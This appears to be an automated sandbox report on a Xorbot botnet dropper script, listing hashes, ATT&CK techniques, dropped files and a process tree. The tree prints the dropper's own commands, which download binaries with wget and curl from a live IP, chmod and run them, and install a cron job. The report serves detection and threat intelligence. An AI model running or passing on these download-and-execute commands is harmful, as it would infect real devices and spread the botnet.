xorbot | 3a6cdf4d9eb0d91dc2125de430207fc449a34acb22787078b19b11df5b42ae32

Analysis

max time kernel
149s
max time network
161s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20-02-2025 18:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

1a818bb63a3306ae460a32c139410128
SHA1

a25809c8e4858f91c10123448406631554ab739d
SHA256

3a6cdf4d9eb0d91dc2125de430207fc449a34acb22787078b19b11df5b42ae32
SHA512

3e47969ff983b506139c03ef59f55f7e5983ca8cb590dd0ad4d1c1a62bd6b174ab3aaf1e6f605f07e037b8a7b7f866466ebee7438a93ff86c1b00aeb79997caa
SSDEEP

192:fipgN2oT7Udx7DLs5NzO/IT7UdxTDLs5NmA:fqgN20O/A

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1295) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
690	chmod
713	chmod
736	chmod
756	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo	691	bins.sh
/tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly	714	bins.sh
/tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb	737	bins.sh
/tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky	757	bins.sh

Renames itself 1 IoCs

pid	Process
758	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.hxzQtQ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/791/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/797/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/885/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/1017/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/1025/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/25/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/889/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/950/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/990/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/1014/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/267/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/306/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/801/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/893/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/925/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/947/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/973/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/992/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/847/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/870/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/936/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/830/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/839/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/333/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/854/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/856/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/907/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/924/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/980/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/27/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/832/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/845/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/848/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/873/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/875/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/906/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/949/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/305/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/977/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/985/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/997/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/1012/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/813/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/831/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/846/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/872/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/940/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/149/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/318/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/923/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/957/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/1006/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/1027/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/211/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/599/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/843/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/928/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/952/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/991/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/777/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/807/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
File opened for reading	/proc/840/cmdline	yx74yC70BPNRupZxWKJQjp7t3psl2zVIky

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb	curl
File opened for modification	/tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky	wget
File opened for modification	/tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky	curl
File opened for modification	/tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo	wget
File opened for modification	/tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo	curl
File opened for modification	/tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly	curl
File opened for modification	/tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly	busybox
File opened for modification	/tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb	wget
File opened for modification	/tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb	busybox
File opened for modification	/tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky	busybox
File opened for modification	/tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo	busybox
File opened for modification	/tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:658
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:662
- /usr/bin/wget
  wget http://37.44.238.88/bins/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  - Writes file to tmp directory
  PID:666
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:688
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  - Writes file to tmp directory
  PID:689
- /bin/chmod
  chmod 777 2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  ./2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  PID:691
- /bin/rm
  rm 2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo
  2⤵
  PID:693
- /usr/bin/wget
  wget http://37.44.238.88/bins/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  - Writes file to tmp directory
  PID:695
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:701
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  - Writes file to tmp directory
  PID:709
- /bin/chmod
  chmod 777 MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  ./MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  PID:714
- /bin/rm
  rm MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly
  2⤵
  PID:716
- /usr/bin/wget
  wget http://37.44.238.88/bins/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  - Writes file to tmp directory
  PID:718
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:724
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  - Writes file to tmp directory
  PID:731
- /bin/chmod
  chmod 777 YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  ./YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  PID:737
- /bin/rm
  rm YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb
  2⤵
  PID:739
- /usr/bin/wget
  wget http://37.44.238.88/bins/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod 777 yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  ./yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:757
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:759
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:760
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:761
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:762
- /bin/rm
  rm yx74yC70BPNRupZxWKJQjp7t3psl2zVIky
  2⤵
  PID:774
- /usr/bin/wget
  wget http://37.44.238.88/bins/d8uMKkIThz9CehhDHDY592Zika7W5IuduA
  2⤵
  PID:778

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/2JrQKH3tcDpoOX6QqonCfyufCSOukGoXDo

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/MOCJUczo8nGNpJfrIY0AcgPyu9i8Dikbly

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/YcomTvX4W8BssPdS8PdsReJtx3lxInKPUb

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/yx74yC70BPNRupZxWKJQjp7t3psl2zVIky

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.hxzQtQ

Filesize
210B

MD5
9df7dc0d3c10dd701e51c3b1782a720b

SHA1
a9899584c1e6e6a9f560d6e41f94237b57802539

SHA256
984e06c4a7404fffc6d8f47bd60aaf3826a84d4b7ac9026755acb15ff78be076

SHA512
f969400e262ecc8ffc7de6db3633bb645da244382f09ef613fb707fd30afe3f8e87a9381c9bc31589c911aac9b34e0a20367c788ad141f2785612672272bec02

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads